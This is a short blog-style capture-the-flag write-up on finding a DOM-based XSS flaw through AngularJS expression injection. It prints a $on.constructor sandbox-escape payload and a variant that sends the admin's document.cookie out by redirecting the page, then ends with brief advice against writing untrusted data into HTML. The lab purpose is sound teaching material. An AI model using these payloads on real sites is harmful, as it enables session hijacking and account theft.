Waste no more time arguing about what a good man should be. Be one



Tonight I’m doing another challenge for XSS vulnerabilities, specially with AngularJS which is a really common framework for developing webapps.

As you may know “Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities” This time I had some fun with this new challenge which consisted about finding a XSS DOM-based vulnerability with “Angular Expressions”

First things first!

The way Angular binds data into the HTML is via expressions, and AngularJS expressions are written in double braces {{}}

Hands on! 🔥

We have this challenge, with an input that seems to be “unsafe”: xss dom image 1

Let’s see if the response source-code contains something interesting: xss dom image 2

Ahá! We can see the ng-app directive and inside it our string (my name in this case)

Let’s try to put a simple payload, like the one mentioned avobe ('{{$on.constructor(“alert(hello!)")()}}')… xss dom image 3

And we have succesfully injected our payload. It’s clearly seen that this payload is seen in the query string part of the URI, so we can use this to steal the admin’s cookie. For this purpose we will have to do 2 things:

1- Adapt the payload to send the response to our desired endpoint ( in my case, for simplicity’s sake) 2- Let the admin execute the payload (as this is a vulnerable site, it’s done via the contact page :) )

In this example, I’m adapting the payload for stealing the cookie’s admin like this:


The payload can be then teared down like:

And the resulting query being:{{$on.constructor("document.location=``.concat(document.cookie)")()}}"

Aaand… there it is! xss dom image 4

We have captured our ✨ flag! ✨

How this vulnerability could have been avoided?

There’s a really simple answer: You should avoid allowing data from any untrusted source to be dynamically written to the HTML document!!

Thank you for being here ❤️ See you around!